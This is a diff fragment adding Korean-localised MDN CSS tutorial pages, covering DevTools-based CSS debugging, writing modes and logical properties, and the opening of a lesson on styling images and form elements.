+<p>You can use this to do an A/B comparison, deciding if something looks better with a rule applied or not, and also to help debug it — for example if a layout is going wrong and you are trying to work out which property is causing the problem.</p>
+
+<h2 id="Editing_values">Editing values</h2>
+
+<p>In addition to turning properties on and off, you can edit their values. Perhaps you want to see if another color looks better, or wish to tweak the size of something? DevTools can save you a lot of time editing a stylesheet and reloading the page.</p>
+
+<p><strong>With <code>box1</code> selected, click on the swatch (the small colored circle) that shows the color applied to the border. A color picker will open up and you can try out some different colors; these will update in real time on the page. In a similar fashion, you could change the width or style of the border.</strong></p>
+
+<p><img alt="DevTools Styles Panel with a color picker open." src="https://mdn.mozillademos.org/files/16607/inspecting2-color-picker.png" style="border-style: solid; border-width: 1px; height: 1173px; width: 2275px;"></p>
+
+<h2 id="Adding_a_new_property">Adding a new property</h2>
+
+<p>You can add properties using the DevTools. Perhaps you have realised that you don't want your box to inherit the <code>&lt;body&gt;</code> element's font size, and want to set its own specific size? You can try this out in DevTools before adding it to your CSS file.</p>
+
+<p><strong>You can click the closing curly brace in the rule to start entering a new declaration into it, at which point you can start typing the new property and DevTools will show you an autocomplete list of matching properties. After selecting <code>font-size</code>, enter the value you want to try. You can also click the + button to add an additional rule with the same selector, and add your new rules there.</strong></p>
+
+<p><img alt="The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open" src="https://mdn.mozillademos.org/files/16608/inspecting3-font-size.png" style="border-style: solid; border-width: 1px; height: 956px; width: 2275px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: There are other useful features in the Rules view too, for example declarations with invalid values are crossed out. You can find out more at <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a>.</p>
+</div>
+
+<h2 id="Understanding_the_box_model">Understanding the box model</h2>
+
+<p>In previous lessons we have discussed <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">the Box Model</a>, and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders. DevTools can really help you to understand how the size of an element is being calculated.</p>
+
+<p>The <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Layout_view">Layout view</a> shows you a diagram of the box model on the selected element, along with a description of the properties and values that change how the element is laid out. This includes a description of properties that you may not have explicitly used on the element, but which do have initial values set.</p>
+
+<p>In this panel, one of the detailed properties is the <code>box-sizing</code> property, which controls what box model the element uses.</p>
+
+<p><strong>Compare the two boxes with classes <code>box1</code> and <code>box2</code>. They both have the same width applied (400px), however <code>box1</code> is visually wider. You can see in the layout panel that it is using <code>content-box</code>. This is the value that takes the size you give the element and then adds on the padding and border width.</strong></p>
+
+<p>The element with a class of <code>box2</code> is using <code>border-box</code>, so here the padding and border is subtracted from the size that you have given the element. This means that the space taken up on the page by the box is the exact size that you specified — in our case <code>width: 400px</code>.</p>
+
+<p><img alt="The Layout section of the DevTools" src="https://mdn.mozillademos.org/files/16609/inspecting4-box-model.png" style="border-style: solid; border-width: 1px; height: 1532px; width: 2275px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Find out more in <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examining and Inspecting the Box Model</a>.</p>
+</div>
+
+<h2 id="Solving_specificity_issues">Solving specificity issues</h2>
+
+<p>Sometimes during development, but in particular when you need to edit the CSS on an existing site, you will find yourself having a hard time getting some CSS to apply. No matter what you do, the element just doesn't seem to take the CSS. What is generally happening here is that a more specific selector is overriding your changes, and here DevTools will really help you out.</p>
+
+<p>In our example file there are two words that have been wrapped in an <code>&lt;em&gt;</code> element. One is displaying as orange and the other hotpink. In the CSS we have applied:</p>
+
+<pre class="brush: css">em {
+  color: hotpink;
+  font-weight: bold;
+}</pre>
+
+<p>Above that in the stylesheet however is a rule with a <code>.special</code> selector:</p>
+
+<pre class="brush: css">.special {
+  color: orange;
+}</pre>
+
+<p>As you will recall from the lesson on <a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">cascade and inheritance</a> where we discussed specificity, class selectors are more specific than element selectors, and so this is the value that applies. DevTools can help you find such issues, especially if the information is buried somewhere in a huge stylesheet.</p>
+
+<p><strong>Inspect the <code>&lt;em&gt;</code> with the class of <code>.special</code> and DevTools will show you that orange is the color that applies, and also shows you the <code>color</code> property applied to the em crossed out. You can now see that the class is overriding the element selector.</strong></p>
+
+<p><img alt="Selecting an em and looking at DevTools to see what is over-riding the color." src="https://mdn.mozillademos.org/files/16610/inspecting5-specificity.png" style="border-style: solid; border-width: 1px; height: 1161px; width: 2275px;"></p>
+
+<h2 id="Find_out_more_about_the_Firefox_DevTools">Find out more about the Firefox DevTools</h2>
+
+<p>There is a lot of information about the Firefox DevTools here on MDN. Take a look at the main <a href="/en-US/docs/Tools">DevTools section</a>, and for more detail on the things we have briefly covered in this lesson see <a href="/en-US/docs/Tools/Page_Inspector#How_to">The How To Guides</a>.</p>
+
+<h2 id="Debugging_problems_in_CSS">Debugging problems in CSS</h2>
+
+<p>DevTools can be a great help when solving CSS problems, so when you find yourself in a situation where CSS isn't behaving as you expect, how should you go about solving it? The following steps should help.</p>
+
+<h3 id="Take_a_step_back_from_the_problem">Take a step back from the problem</h3>
+
+<p>Any coding problem can be frustrating, especially CSS problems because you often don't get an error message to search for online to help with finding a solution. If you are becoming frustrated, take a step away from the issue for a while — go for a walk, grab a drink, chat to a co-worker, or work on some other thing for a while. Sometimes the solution magically appears when you stop thinking about the problem, and even if not, working on it when feeling refreshed will be much easier.</p>
+
+<h3 id="Do_you_have_valid_HTML_and_CSS">Do you have valid HTML and CSS?</h3>
+
+<p>Browsers expect your CSS and HTML to be correctly written, however browsers are also very forgiving and will try their best to display your webpages even if you have errors in the markup or stylesheet. If you have mistakes in your code the browser needs to make a guess at what you meant, and it might make a different decision to what you had in mind. In addition, two different browsers might cope with the problem in two different ways. A good first step therefore is to run your HTML and CSS through a validator, to pick up and fix any errors.</p>
+
+<ul>
+ <li><a href="https://jigsaw.w3.org/css-validator/">CSS Validator</a></li>
+ <li><a href="https://validator.w3.org/">HTML validator</a></li>
+</ul>
+
+<h3 id="Is_the_property_and_value_supported_by_the_browser_you_are_testing_in">Is the property and value supported by the browser you are testing in?</h3>
+
+<p>Browsers simply ignore CSS they don't understand. If the property or value you are using is not supported by the browser you are testing in then nothing will break, but that CSS won't be applied. DevTools will generally highlight unsupported properties and values in some way. In the screenshot below the browser does not support the subgrid value of {{cssxref("grid-template-columns")}}.</p>
+
+<p><img alt="Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported." src="https://mdn.mozillademos.org/files/16641/no-support.png" style="height: 397px; width: 1649px;"></p>
+
+<p>You can also take a look at the Browser compatibility tables at the bottom of each property page on MDN. These show you browser support for that property, often broken down if there is support for some usage of the property and not others. The below table shows the compat data for the {{cssxref("shape-outside")}} property.</p>
+
+<p>{{compat("css.shape-outside")}}</p>
+
+<h3 id="Is_something_else_overriding_your_CSS">Is something else overriding your CSS?</h3>
+
+<p>This is where the information you have learned about specificity will come in very useful. If you have something more specific overriding what you are trying to do, you can enter into a very frustrating game of trying to work out what. However, as described above, DevTools will show you what CSS is applying and you can work out how to make the new selector specific enough to override it.</p>
+
+<h3 id="Make_a_reduced_test_case_of_the_problem">Make a reduced test case of the problem</h3>
+
+<p>If the issue isn't solved by the steps above, then you will need to do some more investigating. The best thing to do at this point is to create something known as a reduced test case. Being able to "reduce an issue" is a really useful skill. It will help you find problems in your own code and that of your colleagues, and will also enable you to report bugs and ask for help more effectively.</p>
+
+<p>A reduced test case is a code example that demonstrates the problem in the simplest possible way, with unrelated surrounding content and styling removed. This will often mean taking the problematic code out of your layout to make a small example which only shows that code or feature.</p>
+
+<p>To create a reduced test case:</p>
+
+<ol>
+ <li>If your markup is dynamically generated — for example via a CMS — make a static version of the output that shows the problem. A code sharing site like <a href="https://codepen.io/">CodePen</a> is useful for hosting reduced test cases, as then they are accessible online and you can easily share them with colleagues. You could start by doing View Source on the page and copying the HTML into CodePen, then grab any relevant CSS and JavaScript and include it too. After that, you can check whether the issue is still evident.</li>
+ <li>If removing the JavaScript does not make the issue go away, don't include the JavaScript. If removing the JavaScript <em>does</em> make the issue go away, then remove as much JavaScript as you can, leaving in whatever causes the issue.</li>
+ <li>Remove any HTML that does not contribute to the issue. Remove components or even main elements of the layout. Again, try to get down to the smallest amount of code that still shows the issue.</li>
+ <li>Remove any CSS that doesn't impact the issue.</li>
+</ol>
+
+<p>In the process of doing this, you may discover what is causing the problem, or at least be able to turn it on and off by removing something specific. It is worth adding some comments to your code as you discover things. If you need to ask for help, they will show the person helping you what you have already tried. This may well give you enough information to be able to search for likely sounding problems and workarounds.</p>
+
+<p>If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.</p>
+
+<p>In the instance that your problem is actually a bug in a browser, then a reduced test case can also be used to file a bug report with the relevant browser vendor (e.g. on Mozilla's <a href="https://bugzilla.mozilla.org">bugzilla site</a>).</p>
+
+<p>As you become more experienced with CSS, you will find that you get faster at figuring out issues. However even the most experienced of us sometimes find ourselves wondering what on earth is going on. Taking a methodical approach, making a reduced test case, and explaining the issue to someone else will usually result in a fix being found.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/handling_different_text_directions/index.html b/files/ko/learn/css/building_blocks/handling_different_text_directions/index.html
new file mode 100644
index 0000000000..7282ef5793
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/handling_different_text_directions/index.html
@@ -0,0 +1,147 @@
+---
+title: 텍스트 표시 방향 제어하기
+slug: Learn/CSS/Building_blocks/Handling_different_text_directions
+translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div>
+
+<p>CSS 학습에서 지금까지 경험한 많은 속성과 값은 화면의 크기와 연결되어 있습니다. 예를 들어, 박스의 위, 오른쪽, 아래쪽 및 왼쪽에 테두리를 만듭니다. 이러한 실제 측정 기준은 가로로 표시되는 콘텐츠에 매우 깔끔하게 매핑되며, 기본적으로 웹은 오른쪽에서 왼쪽으로 쓰는 언어 (예: 아랍어) 보다 왼쪽에서 오른쪽으로 쓰는 언어 (예: 영어 또는 프랑스어) 를 더 잘 지원하는 경향이 있습니다.</p>
+
+<p>그러나 최근 몇 년 동안, CSS 는 오른쪽에서 왼쪽 뿐만 아니라 위에서 아래로 오는 콘텐츠 (예: 일본어) 를 포함하여 다른 내용의 방향성을 더 잘 지원하기 위해 발전했습니다 — 이러한 다른 방향을 <strong>쓰기 모드 (writing modes)</strong> 라고 합니다. 학습 과정을 진행하고 레이아웃 작업을 시작함에 따라 쓰기 모드에 대한 이해가 도움이 될 것이므로 지금 소개하겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>최신 CSS 에 대한 쓰기 모드의 중요성을 이해하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="쓰기_모드_writing_modes란_무엇인가">쓰기 모드 (writing modes)란 무엇인가?</h2>
+
+<p>CSS 쓰기 모드는 텍스트가 가로 또는 세로로 표시되는지 여부를 나타냅니다. {{cssxref("writing-mode")}} 속성을 사용하면 쓰기 모드에서 다른 쓰기 모드로 전환할 수 있습니다. 이를 위해 세로 쓰기 모드를 사용하는 언어로 작업할 필요는 없습니다 — 창의적 목적으로 레이아웃 일부의 쓰기 모드를 변경할 수도 있습니다.</p>
+
+<p>아래 예에서는 <code>writing-mode: vertical-rl</code> 를 사용하여 표시되는 제목이 있습니다. 이제 텍스트가 세로로 나타납니다. 세로 텍스트는 그래픽 디자인에서 일반적이며, 웹 디자인에서 보다 흥미로운 모양과 느낌을 추가할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p>
+
+<p><code><a href="/en-US/docs/Web/CSS/writing-mode">writing-mode</a></code> 속성에 가능한 세 가지 값은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>horizontal-tb</code>: 블록의 표시 방향은 위에서 아래 입니다. 문장은 가로로 표시됩니다.</li>
+ <li><code>vertical-rl</code>: 블록의 표시 방향은 오른쪽에서 왼쪽입니다. 문장은 수직으로 표시됩니다.</li>
+ <li><code>vertical-lr</code>: 블록의 표시 방향은 왼쪽에서 오른쪽입니다. 문장은 수직으로 표시됩니다.</li>
+</ul>
+
+<p>따라서 <code>writing-mode</code> 속성은 실제로 페이지에서 블록 수준 요소가 표시되는 방향을 설정합니다 — 위에서 아래로, 오른쪽에서 왼쪽으로 또는 왼쪽에서 오른쪽으로. 그러면 문장의 텍스트 방향이 지시됩니다.</p>
+
+<h2 id="쓰기_모드_와_블록_및_인라인_레이아웃">쓰기 모드 와 블록 및 인라인 레이아웃</h2>
+
+<p>우리는 이미 <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model#Block_and_inline_boxes">블록 및 인라인 레이아웃</a> 과 일부는 블록 요소로 표시되고 다른 것은 인라인 요소로 표시된다는 사실에 대해 이미 논의했습니다. 위에서 설명한 것처럼 블록과 인라인은 실제 화면이 아니라 문서의 쓰기 모드와 연결되어 있습니다. 영어와 같이 텍스트를 가로로 표시하는 쓰기 모드를 사용하는 경우 블록은 페이지의 맨 위에서 아래로만 표시됩니다.</p>
+
+<p>예제를 보면 더 명확해집니다. 이 다음 예제에서는 제목과 단락을 포함하는 두 개의 박스가 있습니다. 첫 번째 쓰기 모드는 페이지 상단에서 하단으로 수평으로 표시되는 <code>writing-mode: horizontal-tb</code> 를 사용합니다. 두 번째 쓰기 모드는 세로로 오른쪽에서 왼쪽으로 표시되는 <code>writing-mode: vertical-rl</code> 를 사용합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}</p>
+
+<p>쓰기 모드를 전환하면, 블록 (block) 방향과 인라인 (inline) 방향을 변경합니다. <code>horizontal-tb</code> 쓰기 모드에서 블록 방향은 위에서 아래로 진행됩니다. <code>vertical-rl</code> 쓰기 모드에서 블록 방향은 오른쪽에서 왼쪽으로 수평으로 표시됩니다. 따라서 <strong>블록 크기</strong>는 항상 쓰기 모드에서 페이지에 표시되는 방향 블록입니다. <strong>인라인 크기</strong>는 항상 문장이 표시되는 방향입니다.</p>
+
+<p>이 그림은 가로 쓰기 모드에 있을 때 2 차원 모양을 보여줍니다.<img alt="Showing the block and inline axis for a horizontal writing mode." src="https://mdn.mozillademos.org/files/16574/horizontal-tb.png" style="height: 353px; width: 634px;"></p>
+
+<p>이 그림은 세로 쓰기 모드에서 2 차원 모양을 보여줍니다.</p>
+
+<p><img alt="Showing the block and inline axis for a vertical writing mode." src="https://mdn.mozillademos.org/files/16575/vertical.png" style="height: 472px; width: 406px;"></p>
+
+<p>CSS 레이아웃, 특히 최신 레이아웃 방법을 살펴보기 시작하면, 블록 및 인라인에 대한 이 아이디어가 매우 중요해 집니다. 나중에 다시 방문하겠습니다.</p>
+
+<h3 id="방향_Direction">방향 (Direction)</h3>
+
+<p>쓰기 모드 외에 텍스트 방향도 있습니다. 위에서 언급한 것처럼, 아랍어와 같은 일부 언어는 가로로 작성되지만, 오른쪽에서 왼쪽으로 작성됩니다. 이것은 창의적 의미에서 사용할 가능성이 있는 것이 아닙니다 — 단순히 오른쪽에 무언가를 정렬하려면 다른 방법이 있습니다 — 그러나 CSS 의 특성의 일부로 이것을 이해하는 것이 중요합니다. 웹은 왼쪽에서 오른쪽으로 표시되는 언어만을 위한 것이 아닙니다!</p>
+
+<p>쓰기 모드와 텍스트 방향이 변경될 수 있기 때문에, 최신 CSS 레이아웃 방법은 왼쪽과 오른쪽, 위와 아래를 참조하지 않습니다. 대신에 그들은 인라인과 블록이라는 아이디어와 함께 <em><strong>시작</strong> </em>과 <em><strong>끝</strong> </em>에 대해 이야기할 것입니다. 지금 그것에 대해 너무 걱정하지 말고 레이아웃을 살펴보기 시작할 때, 이러한 아이디어를 명심하십시오. CSS 에 대한 이해에 도움이 될 것입니다.</p>
+
+<h2 id="논리적_속성_및_값">논리적 속성 및 값</h2>
+
+<p>그러나 이 시점의 학습에서 쓰기 모드와 방향에 대해 이야기하는 이유는 우리가 이미 화면의 크기와 관련된 많은 속성을 보았고, 수평 쓰기 모드에 있을 때 가장 의미가 있기 때문입니다.</p>
+
+<p>두 개의 박스를 다시 살펴 보겠습니다 — 하나는 <code>horizontal-tb</code> 쓰기 모드이고 다른 하나는 <code>vertical-rl</code> 입니다. 이 두 박스 모두 {{cssxref("width")}} 를 제공했습니다. 박스가 세로 쓰기 모드일 때 여전히 너비가 있으며, 이로 인해 텍스트가 overflow 되는 것을 알 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}</p>
+
+<p>이 시나리오에서 우리가 정말로 원하는 것은 쓰기 모드와 함께 높이와 너비를 본질적으로 바꾸는 것입니다. 세로 쓰기 모드인 경우 박스를 가로 쓰기 모드에서와 같이 블록 크기로 확장하려고 합니다.</p>
+
+<p>이를 쉽게하기 위해, CSS 는 최근에 매핑된 속성 세트를 개발했습니다. 이것들은 본질적으로 — <code>width</code> 및 <code>height</code> — 와 같은 물리적 속성을 <strong>논리적</strong> 또는 <strong>flow relative</strong> 버전으로 대체합니다.</p>
+
+<p>가로 쓰기 모드인 경우 <code>width</code> 에 매핑된 속성을 {{cssxref("inline-size")}} 라고 합니다 — 인라인의 크기를 나타냅니다. <code>height</code> 의 속성 이름은 {{cssxref("block-size")}} 이며 블록의 크기입니다. <code>width</code> 가 <code>inline-size</code> 로 대체된 아래 예에서 이것이 어떻게 작동하는지 볼 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}</p>
+
+<h3 id="논리적_마진_테두리_및_패딩_속성">논리적 마진, 테두리 및 패딩 속성</h3>
+
+<p>지난 두 가지 수업에서 CSS 박스 모델과 CSS 테두리에 대해 배웠습니다. 마진, 테두리 및 패딩 속성에는 {{cssxref("margin-top")}}, {{cssxref("padding-left")}} 및 {{cssxref("border-bottom")}} 과 같은 여러 물리적 속성 인스턴스가 있습니다. 너비와 높이에 대한 매핑과 같은 방식으로 이러한 속성에 대한 매핑도 있습니다.</p>
+
+<p><code>margin-top</code> 속성은 {{cssxref("margin-block-start")}} 에 매핑됩니다 — 이것은 항상 블록 크기의 시작에서 마진을 나타냅니다.</p>
+
+<p>{{cssxref("padding-left")}} 속성은 인라인 방향의 시작 부분에 적용되는 패딩 {{cssxref("padding-inline-start")}} 에 매핑됩니다. 이것은 쓰기 모드에서 문장이 시작되는 곳입니다. {{cssxref("border-bottom")}} 속성은 블록 크기의 끝의 경계인 {{cssxref("border-block-end")}} 에 매핑됩니다.</p>
+
+<p>아래에서 물리적 속성과 논리적 속성을 비교할 수 있습니다.</p>
+
+<p><strong><code>.box</code> 의 쓰기 모드 속성을 <code>vertical-rl</code> 로 전환하여 박스의 <code>writing-mode</code> 를 변경하면 물리적 속성이 물리적 방향과 연결되어 있는 반면, 논리적 속성은 쓰기 모드로 전환됩니다.</strong></p>
+
+<p><strong>또한 {{htmlelement("h2")}} 에 검은색 <code>border-bottom</code> 이 있음을 알 수 있습니다. 아래쪽 테두리가 항상 두 쓰기 모드에서 텍스트 아래로 이동하는 방법을 알아낼 수 있습니까?</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}</p>
+
+<p>모든 개별 테두리를 고려할 때 많은 속성이 있으며, <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">논리 속성 및 값</a> 에 대한 MDN 페이지에서 매핑된 속성을 모두 볼 수 있습니다.</p>
+
+<h3 id="논리적_값">논리적 값</h3>
+
+<p>지금까지 논리적 속성 이름을 살펴보았습니다. <code>top</code>, <code>right</code>, <code>bottom</code> 및 <code>left</code> 의 물리적 값을 취하는 속성도 있습니다 — 이러한 값에는 <code>block-start</code>, <code>inline-end</code>, <code>block-end</code> 및 <code>inline-start</code> 과 같은 논리값에 대한 매핑도 있습니다.</p>
+
+<p>예를 들어, 이미지를 왼쪽으로 띄워서 텍스트가 이미지를 감싸도록 할 수 있습니다. 아래 예와 같이 <code>left</code> 을 <code>inline-start</code> 으로 바꿀 수 있습니다.</p>
+
+<p><strong>이 예제에서 쓰기 모드를 <code>vertical-rl</code> 로 변경하여 이미지에 어떤 일이 발생하는지 확인하십시오. float 를 변경하려면 <code>inline-start</code> 를 <code>inline-end</code> 로 변경하십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}</p>
+
+<p>여기에서는 쓰기 모드가 무엇이든 상관없이 논리 마진값을 사용하여 마진이 올바른 위치에 있는지 확인합니다.</p>
+
+<h3 id="물리적_또는_논리적_속성을_사용해야_합니까">물리적 또는 논리적 속성을 사용해야 합니까?</h3>
+
+<p>논리적 속성과 값은 물리적 속성보다 최신이므로, 브라우저에서만 최근에 구현되었습니다. 브라우저 지원이 얼마나 돌아가는지 보려면, MDN 의 속성 페이지를 확인할 수 있습니다. 여러 쓰기 모드를 사용하지 않는 경우, 지금은 실제 버전을 사용하는 것이 좋습니다. 그러나 궁극적으로 사람들은 flexbox 및 grid 와 같은 레이아웃 방법을 다루기 시작하면, 많은 의미가 있기 때문에 사람들이 대부분의 경우 논리적 버전으로 전환할 것으로 기대합니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 학습에서 설명  개념은 CSS 에서 점점 중요해지고 있습니다. 블록과 인라인 방향에 대한 이해와 쓰기 모드의 변화에 따른 텍스트 방향의 변화는 앞으로 매우 유용할 것입니다. 가로 이외의 쓰기 모드를 사용하지 않아도 CSS 를 이해하는 데 도움이 됩니다.</p>
+
+<p>다음 학습에서는 CSS 의 overflow 를 자세히 살펴볼 것입니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_단원에서는">이번 단원에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/images_media_form_elements/index.html b/files/ko/learn/css/building_blocks/images_media_form_elements/index.html
new file mode 100644
index 0000000000..10945b103d
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/images_media_form_elements/index.html
@@ -0,0 +1,195 @@
+---
+title: '이미지, 미디어 및 양식 요소nts'
+slug: Learn/CSS/Building_blocks/Images_media_form_elements
+translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}</div>
+
+<p>In this lesson we will take a look at how certain special elements are treated in CSS. Images, other media, and form elements behave a little differently in terms of your ability to style them with CSS than regular boxes. Understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things that you need to know.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>
+    <p>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS 로 스타일을 지정할 때 일부 요소가 비정상적으로 동작하는 방식을 이해하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="대체_Replaced_요소">대체 (Replaced) 요소</h2>
+
+<p>이미지와 비디오는 <strong><a href="/en-US/docs/Web/CSS/Replaced_element">대체 요소</a></strong> 로 설명됩니다. 즉, CSS 는 이러한 요소의 내부 레이아웃에 영향을 줄 수 없으며 — 다른 요소중에서 페이지의 위치에만 영향을 줍니다. 그러나 우리가 볼 수 있듯이 CSS 는 이미지로 할 수 있는 다양한 일들이 있습니다.</p>
+
+<p>이미지 및 비디오와 같은 특정 대체 요소도 <strong>종횡비 (aspect ratio) </strong>를 갖는 것으로 설명됩니다. 이는 가로 (x) 및 세로 (y) 크기를 가지며, 기본적으로 파일의 고유 크기를 사용하여 표시됨을 의미합니다.</p>
+
+<h2 id="이미지_크기_조정">이미지 크기 조정</h2>
+
